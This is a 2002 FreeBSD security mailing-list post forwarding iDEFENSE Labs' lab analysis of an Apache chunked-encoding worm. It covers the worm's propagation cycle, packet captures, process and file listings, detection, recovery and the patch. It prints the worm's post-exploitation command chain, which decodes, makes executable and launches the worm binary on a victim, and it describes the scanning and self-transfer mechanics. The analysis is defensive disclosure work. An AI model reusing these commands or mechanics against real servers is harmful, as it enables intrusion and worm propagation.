Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 30 Jun 2002 16:25:48 -0600
From:      "Kurt Seifried" <kurt@seifried.org>
To:        <freebsd-security@freebsd.org>
Subject:   Apache Worm Analysis (was Re: Apache worm in the wild)
Message-ID:  <001401c22085$16063540$1400020a@chaser>

next in thread | raw e-mail | index | archive | help
Forwarded by request.

-----Original Message-----
From: David Endler [mailto:dendler@idefense.com]
Sent: Sunday, June 30, 2002 2:09 PM
To: bugtraq@securityfocus.com; freebsd-security@freebsd.org
Subject: Apache Worm Analysis (was Re: Apache worm in the wild)


Based on the Bugtraq posted code from Domas Mituzas 
(http://dammit.lt/apache-worm/apache-worm.c), iDEFENSE Labs performed an 
initial analysis in a closed lab environment. The lab environment 
consisted of the following machines and applications:

Host: wormbait
Running fresh FreeBSD 4.5 x86 standard installation with Apache 1.3.20 
default installation, lsof 4.64, and Tripwire 2.3.1-2
IP address 172.16.159.100

% uname -a
FreeBSD attacker 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 
GMT 2002

Host: attacker
Running fresh FreeBSD 4.5 x86 standard installation, lsof 4.64, and 
Tripwire 2.3.1-2
IP address 172.16.159.57

% uname -a
FreeBSD attacker 4.5-RELEASE FreeBSD 4.5-RELEASE #0: Mon Jan 28 14:31:56 
GMT 2002

Host: sniffer
Redhat Linux 7.1 fully patched
Passive network interface (no assigned IP address) in promiscuous mode
with Ethereal and TCPdump


PREPARATION

The worm was compiled on the attacker host into a binary named .a: 

% gcc apache_code.c -o .a
% mv .a /tmp
% ls -l /tmp

total 52
-rwxr-xr-x 1 nobody wheel 51598 Jun 29 17:49 .a

The worm's author hardcoded several features into the code, which make 
for shortcomings in the propagation routine. The worm binary MUST be 
named ".a" and be placed in the /tmp directory or else it cannot infect 
other hosts. If the binary is removed at any time from the /tmp 
directory while the worm is running in the background, it will only be 
able to upload blank benign copies of itself to future exploited hosts. 
Any FreeBSD installations that have the /tmp directory as a separate 
partition and have set the noexec flag will prevent the worm from 
scanning other hosts assuming the system has been infected.

The following sections have been organized into the lifecycle of this 
worm:

Listen for UDP packets -> Scan for new hosts -> Exploit found hosts -> 
Transfer payload to victim -> Launch new host -> Listen for UDP packets -
> ...


LISTEN


The worm requires at least one argument to be run from the command line, 
although in most cases it will be automatically launched in future 
infection scenarios: 

% ./a
/tmp/.a [base 2] ... 


The "base" argument is an IP address or hostname of the system that 
originally infected the attacker. The attacking computer (that has just 
been infected) sends a UDP packet to this base host and requires a 
response in the form of two UDP packets in order to launch. It is 
unclear why the author designed the worm to wait for these response 
packets before running. 

The following is the TCPdump packet that the attacker would send to the 
host that originally infected it. For the purposes of the analysis, we 
used the attacker is used as its own base host to start the scenario. 
Extrapolating from the log data, the initial packet looks like the 
following: 

15:51:29.967989 attacker.2001 > base_host.2001: [udp sum ok] udp 16 (ttl 
64, id 5868, len 44) 
4500 002c 16ec 0000 4011 cd16 ac10 9f64
ac10 9f39 07d1 07d1 0018 e95c 7000 0000
0000 0000 0000 0000 0000 0000


The base host must then send back a response back to the newly infected 
attacker consisting of two UDP packets or else the worm will not begin 
scanning for new hosts. However, even if the responses are not received 
from the base host, the worm continues to listen on UDP port 2001. From 
source code analysis, it seems the UDP server is rather benign and does 
not provide backdoor Trojan capabilities, although it is extremely 
feasible that future variants may integrate that feature. Running 
netstat will show the listening port on an infected FreeBSD host as the 
"wizard" service, which is assigned to port 2001 in most /etc/services 
files:

Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address        
(state)
tcp4       0      0  *.smtp                 *.*                  LISTEN
tcp4       0      0  *.ssh                  *.*                  LISTEN
tcp46      0      0  *.ssh                  *.*                  LISTEN
tcp4       0      0  *.ftp                  *.*                  LISTEN
udp4       0      0  *.syslog               *.*      
udp4       0      0  *.wizard               *.*                          
        
udp6       0      0  *.syslog               *.*                    
Active UNIX domain sockets
Address  Type   Recv-Q Send-Q    Inode     Conn     Refs  Nextref Addr
c8ec7ec0 dgram       0      0        0 c8e97fc0        0 c8ec7e80
c8ec7e80 dgram       0      0        0 c8e97fc0        0 c8ec7f80
c8ec7f80 dgram       0      0        0 c8e97fc0        0 c8ec7fc0
c8ec7fc0 dgram       0      0        0 c8e97fc0        0        0
c8e97fc0 dgram       0      0 c8e92cc0        0 c8ec7ec0        0 

Running lsof shows the following files and sockets being accessed by the 
worm (the last ten lines): 

% lsof 

adjkerntz   17   root  txt   VREG 116,131072      62264  42241 
/sbin/adjkerntz
syslogd     55   root    3u  unix 0xc8520ec0        0t0        
/var/run/log
syslogd     55   root    9w  VREG 116,131072      30522 253467 
/var/log/messages
syslogd     55   root   10w  VREG 116,131072          0 253468 
/var/log/security
syslogd     55   root   11w  VREG 116,131072       1573 253465 
/var/log/maillog
syslogd     55   root   12w  VREG 116,131072          0 253464 
/var/log/lpd-errs
syslogd     55   root   13w  VREG 116,131072       6233 253462 
/var/log/cron
syslogd     55   root   14w  VREG 116,131072          0 253469 
/var/log/slip.log
syslogd     55   root   15w  VREG 116,131072          0 253470 
/var/log/ppp.log
inetd       62   root  txt   VREG 116,131072      27088 212720 
/usr/lib/libwrap.so.3
cron        64   root  cwd   VDIR 116,131072        512 253453 /var/cron
cron        64   root    3uW VREG 116,131072          3 265182 
/var/run/cron.pid
sshd        66   root  txt   VREG 116,131072     121320 216910 
/usr/lib/libasn1.so.3
sshd        66   root  txt   VREG 116,131072      27088 212720 
/usr/lib/libwrap.so.3
sshd        66   root  txt   VREG 116,131072      34664 212691 
/usr/lib/libpam.so.1
sendmail    70   root  cwd   VDIR 116,131072        512 253482 
/var/spool/mqueue
sendmail    70   root  rtd   VDIR 116,131072        512      2 /
sendmail    70   root  txt   VREG 116,131072     403136 214274 
/usr/libexec/sendmail/sendmail
sendmail    70   root  txt   VREG 116,131072      76560 214314 
/usr/libexec/ld-elf.so.1
sendmail    70   root  txt   VREG 116,131072      32912 212616 
/usr/lib/libutil.so.3
sendmail    70   root  txt   VREG 116,131072      27088 212720 
/usr/lib/libwrap.so.3
sendmail    70   root  txt   VREG 116,131072     177160 216844 
/usr/lib/libssl.so.2
sendmail    70   root  txt   VREG 116,131072     762068 216836 
/usr/lib/libcrypto.so.2
sendmail    70   root  txt   VREG 116,131072     573760 212628 
/usr/lib/libc.so.4
sendmail    70   root    0r  VCHR        2,2        0t0 232339 /dev/null
sendmail    70   root    1w  VCHR        2,2        0t0 232339 /dev/null
sendmail    70   root    2w  VCHR        2,2        0t0 232339 /dev/null
sendmail    70   root    3u  unix 0xc8520b00        0t0        -
>0xc8520ec0
sendmail    70   root    4u  IPv4 0xc85dcc60        0t0    TCP *:smtp 
(LISTEN)
sendmail    70   root    5u  IPv4 0xc85dca40        0t0    TCP 
*:submission (LISTEN)
login       90   root  txt   VREG 116,131072      34664 212691 
/usr/lib/libpam.so.1
login       90   root  txt   VREG 116,131072       4024 212687 
/usr/lib/pam_skey.so
login       90   root  txt   VREG 116,131072       3208 212683 
/usr/lib/pam_cleartext_pass_ok.so
login       90   root  txt   VREG 116,131072       4828 212689 
/usr/lib/pam_unix.so
login       90   root  txt   VREG 116,131072       3436 212685 
/usr/lib/pam_permit.so
login       91   root  txt   VREG 116,131072      34664 212691 
/usr/lib/libpam.so.1
login       91   root  txt   VREG 116,131072       4024 212687 
/usr/lib/pam_skey.so
login       91   root  txt   VREG 116,131072       3208 212683 
/usr/lib/pam_cleartext_pass_ok.so
login       91   root  txt   VREG 116,131072       4828 212689 
/usr/lib/pam_unix.so
login       91   root  txt   VREG 116,131072       3436 212685 
/usr/lib/pam_permit.so
login       92   root  txt   VREG 116,131072      34664 212691 
/usr/lib/libpam.so.1
login       92   root  txt   VREG 116,131072       4024 212687 
/usr/lib/pam_skey.so
login       92   root  txt   VREG 116,131072       3208 212683 
/usr/lib/pam_cleartext_pass_ok.so
login       92   root  txt   VREG 116,131072       4828 212689 
/usr/lib/pam_unix.so
login       92   root  txt   VREG 116,131072       3436 212685 
/usr/lib/pam_permit.so
csh         98   root  cwd   VDIR 116,131072        512 244353 
/usr/local/apache/logs
csh        100   root    3u  PIPE 0xc8e81d40      16384        -
>0xc8e81a20
csh        100   root    4u  PIPE 0xc8e81a20      16384        -
>0xc8e81d40
httpd      106   root  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd      106   root    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      106   root   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      106   root   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
httpd      565 nobody  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd      565 nobody    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      565 nobody   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      565 nobody   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
httpd      585 nobody  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd      585 nobody    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      585 nobody   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      585 nobody   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
httpd      741 nobody  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd      741 nobody    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      741 nobody   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      741 nobody   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
httpd      768 nobody  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd      768 nobody    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      768 nobody   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      768 nobody   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
httpd      905 nobody  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd      905 nobody    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      905 nobody   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd      905 nobody   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
httpd     1011 nobody  txt   VREG 116,131072     471064 244356 
/usr/local/apache/bin/httpd
httpd     1011 nobody    2w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd     1011 nobody   15w  VREG 116,131072       2698 244751 
/usr/local/apache/logs/error_log
httpd     1011 nobody   17w  VREG 116,131072       1217 244752 
/usr/local/apache/logs/access_log
.a        1103   root  cwd   VDIR 116,131072        512 274560 /tmp
.a        1103   root  rtd   VDIR 116,131072        512      2 /
.a        1103   root  txt   VREG 116,131072      51598 286300 /tmp/.a
.a        1103   root  txt   VREG 116,131072      76560 214314 
/usr/libexec/ld-elf.so.1
.a        1103   root  txt   VREG 116,131072     573760 212628 
/usr/lib/libc.so.4
.a        1103   root    0u  VCHR        2,2        0t0 232339 /dev/null
.a        1103   root    1u  VCHR        2,2        0t0 232339 /dev/null
.a        1103   root    2u  VCHR        2,2        0t0 232339 /dev/null
.a        1103   root    3u  VCHR        2,2        0t0 232339 /dev/null
.a        1103   root    4u  IPv4 0xc857ebc0        0t0    UDP *:wizard


At any time, the owner of an infected computer can determine the 
original base host that infected it simply by looking at the process 
list: 

% ps aux | grep ".a" 

nobody 1103 0.0 0.4 932 444 v1 S 6:46PM 0:00.00 /tmp/.a 172.16.159.57


The required response packets by the waiting attacker from the base host 
look something like this in a TCPdump capture: 

15:51:29.970308 base_host.2001 > attacker.2001:  [udp sum ok] udp 20 
(ttl 64, id 7130, len 48)
4500 0030 1bda 0000 4011 c824 ac10 9f39
ac10 9f64 07d1 07d1 001c 9adf 7300 0000
0000 0000 0000 0000 0000 0000 ac10 9f64
15:51:29.970626 base_host.2001 > attacker.2001:  [udp sum ok] udp 24 
(ttl 64, id 7131, len 52)
4500 0034 1bdb 0000 4011 c81f ac10 9f39
ac10 9f64 07d1 07d1 0020 498d 7100 0000
0000 0000 0800 0000 0000 0000 ac10 9f64
ac10 9f39


SCAN


Once the attacker's worm receives these packets on the UDP server 
listening on port 2001, the worm begins to scan random class B IP 
address ranges for Apache web servers. iDEFENSE Labs modified the code 
slightly so it would instantly start scanning on the same class B 
(172.16.159.x) that the wormbait host was on. In order to find an active 
Apache web server, it sends the following web request: 

GET / HTTP/1.1

This request will show up as in the victim's Apache access logs as the 
following: 

172.16.159.57 - - [29/Jun/2002:15:06:41 -0400] "GET / HTTP/1.1" 400 378 

More importantly, the request will also show up the Apache error logs 
since a proper "Host:" header is not included, as seen here: 

[Sat Jun 29 15:06:41 2002] [error] [client 172.16.159.57] client sent 
HTTP/1.1 request without hostname (see RFC2616 section 14.23): / 



EXPLOIT

When the worm receives the results of the HTTP response, it determines 
if the web server is running Apache by using a simple string compare 
function on the word "Apache". Regardless of version, the worm will try 
the two memory offsets to use in the chunked-encoding exploit for the 
respective targets of Apache 1.3.20 or 1.3.22-24.  The exploit seems to 
use the exact same shellcode as the apache_nosejob.c posted by GOBBLES. 
iDEFENSE Labs also tested the worm on Apache 1.3.24 with the same 
successful exploitation results. The attacker then sends the chunked-
encoding exploit over HTTP to the vulnerable Apache server, which looks 
something like this when reconstructed from the sniffer data:


http://www.idefense.com/idtools/Apache%20Worm.txt



TRANSFER

Upon successful exploitation, the worm is able to upload a uuencoded 
copy of itself named ".uua" to the victim's /tmp directory. UUencode is 
a popular software utility used to translate mostly binary file types 
into a 7-bit ASCII set of characters so that they can be attached to an 
e-mail message or posted to a newsgroup. The worm (while still issuing 
commands through the buffer overflow exploit to the victim) issues a 
uudecode command through the established HTTP socket to extract the file 
into the .a binary. 

A user on an infected host would see the following two files in the /tmp 
directory: 

% ls -la /tmp

total 122
-rwxr-xr-x 1 nobody wheel 51598 Jun 29 17:49 .a
-rw-r--r-- 1 nobody wheel 71113 Jun 29 17:49 .uua 

The attacker then executes the .a binary on the victim's host causing 
the cycle to be completed. The actual command stream that causes the 
last few events to occur is sent into the HTTP stream by the attack into 
the shell that results from successful exploitation of the chunked-
encoding vulnerability: 

/usr/bin/uudecode -p /tmp/.uua > /tmp/.a;killall -9 .a;chmod +x 
/tmp/.a;killall -9 .a;/tmp/.a 172.16.159.57 

The above sequence of commands stops all previous infected versions of 
the worm from running, since it's possible for multiple reinfections to 
occur from different originating hosts. 


ANALYSIS:  This worm is just another component of the general 
vulnerability disclosure trend. When a vulnerability is first 
discovered, the vendor of the vulnerable software or hardware is often 
notified first. However, the time between disclosure and a proof-of-
concept exploit is narrowing, as if the time between the disclosure of 
the exploit and the creation of the worm. And the trend will continue 
during the year(s) to come.

This particular vulnerability in Apache's chunked encoding was publicly 
disclosed on June 17, 2002; an exploit was disclosed on June 19; this 
worm was discovered in the wild on June 28. Even though the range of 
exploitable applications and platforms was quite limited this time 
(FreeBSD only), it is extremely likely now that others will emerge given 
the source code is now publicly available.

This worm was programmed in C in a rather sloppy fashion in what almost 
seems to have been a preexisting worm skeleton. Many of the functions 
and routines in the code are never called or used at all. It is almost 
as if these sections (such as the e-mail component and logging feature) 
were never fully configured properly. In fact, this seems more like a 
proof-of-concept worm since it causes no damage, barring any indirect 
denial of service or system resource over consumption. While this worm 
is somewhat benign in its payload, administrators should take caution as 
there are many others who can easily construct more destructive worms 
and release them in the wild with minimal technical expertise. 

DETECTION: Only FreeBSD 4.5 installations are affected currently. Look 
for the existence of the .a and .uua files in the /tmp directory, a UDP 
server running on port 2001, or many outbound web connections that are 
shown when running netstat. 

RECOVERY: Simply delete the files .a and .uua in the /tmp directory, and 
kill the worm process: 

% ps aux | grep ".a" 

nobody 1103 0.0 0.4 932 444 v1 S 6:46PM 0:00.00 /tmp/.a 172.16.159.57

% kill -9 1103

VENDOR FIX: Administrators should download and install HTTP Server 
1.3.26, which corrects the chunked-encoding problem. It is available at 
http://www.apache.org/dist/httpd/apache_1.3.26.tar.gz. 


Michael Sutton
Senior Security Engineer, iDEFENSE Labs
msutton@idefense.com

David Endler
Director, iDEFENSE Labs
dendler@idefense.com



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?001401c22085$16063540$1400020a>